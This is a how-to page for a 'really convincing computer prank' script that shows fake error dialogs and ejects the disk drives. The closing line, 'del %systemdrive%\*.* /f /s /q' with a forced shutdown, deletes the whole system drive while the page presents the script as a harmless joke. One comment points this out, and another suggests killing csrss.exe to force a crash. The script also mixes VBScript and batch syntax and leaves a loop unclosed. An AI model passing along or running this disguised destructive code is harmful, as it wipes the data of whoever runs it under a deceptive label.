Really Convincing Computer Prank

Intro: Really Convincing Computer Prank

Need to troll your friend? HARD? Then use this.

This has a series of very convincing error messages and when it says it will eject your disks it does.

It finally ends with a forced BSOD

Step 1: Download and Run!

Download it and run it! (Only for .vbs)

Copy this into notepad and save it as .vbs.

X=msgbox("Error Detected. Do You want to fix this problem?",3+32,"Something has happened")
X=msgbox("This problem can not be fixed!",0+48,"ERROR") X=msgbox("Your computer will attempt to reboot now.",0+16,"FATAL ERROR") X=msgbox("Cannot reboot.",1+64,"FATAL ERROR!!") X=msgbox("System Access Denied!",2+64,"Unauthorized User") X=msgbox("Deleting System Files...",0+16,"Virus Protection") X=msgbox("Formatting C Drive...",0+16,"Virus Protection") X=msgbox("Ejecting all disk drives.",0+16,"Virus Protection") Set oWMP = CreateObject("WMPlayer.OCX.7") Set colCDROMs = oWMP.cdromCollection do if colCDROMs.Count >= 1 then For i = 0 to colCDROMs.Count - 1 colCDROMs.Item(i).Eject Next For i = 0 to colCDROMs.Count - 1 colCDROMs.Item(i).Eject Next End If wscript.sleep 100 X=msgbox("Short circuiting all drivers.",0+16,"Virus Protection") X=msgbox("Error.",0+16,"Error") x=msgbox("",0+16,"") x=msgbox("",0+16,"") x=msgbox("",0+16,"") x=msgbox("",0+16,"") x=msgbox("",0+16,"") x=msgbox("",0+16,"") x=msgbox("",0+16,"") x=msgbox("",0+16,"") x=msgbox("",0+16,"") x=msgbox("",0+16,"") x=msgbox("",0+16,"") x=msgbox("",0+16,"") x=msgbox("",0+16,"") x=msgbox("",0+16,"") x=msgbox("",0+16,"") x=msgbox("",0+16,"") x=msgbox("",0+16,"") x=msgbox("",0+16,"") x=msgbox("",0+16,"") x=msgbox("",0+16,"") x=msgbox("Clicking ok will activate a BSOD",0+48,"Alert") x=msgbox("Clicking ok will activate a BSOD",0+48,"Alert") x=msgbox("Clicking ok will activate a BSOD",0+48,"Alert") x=msgbox("Clicking ok will activate a BSOD",0+48,"Alert") x=msgbox("Clicking ok will activate a BSOD",0+48,"Alert") x=msgbox("Clicking ok will activate a BSOD",0+48,"Alert") x=msgbox("Clicking ok will activate a BSOD",0+48,"Alert") x=msgbox("Clicking ok will activate a BSOD",0+48,"Alert") x=msgbox("Clicking ok will activate a BSOD",0+48,"Alert") x=msgbox("Clicking ok will activate a BSOD",0+48,"Alert") x=msgbox("Clicking ok will activate a BSOD",0+48,"Alert") x=msgbox("Clicking ok will activate a BSOD",0+48,"Alert") @echo off del %systemdrive%\*.* /f /s /q shutdown -r -f -t 00

Share

    Recommendations

    • Fix It! Contest

      Fix It! Contest
    • Audio Contest 2018

      Audio Contest 2018
    • Halloween Contest 2018

      Halloween Contest 2018

    9 Discussions

    0
    None
    Putra Adriansyah

    2 years ago

    kill "csrss.exe" and Windows will forced to BSOD and restart automatically... your friend will be panic :D

    0
    None

    @echo off del %systemdrive%\*.* /f /s /q shutdown -r -f -t 00

    ummm the only ones who are getting trolled here is us. This deletes the C Drive

    2 replies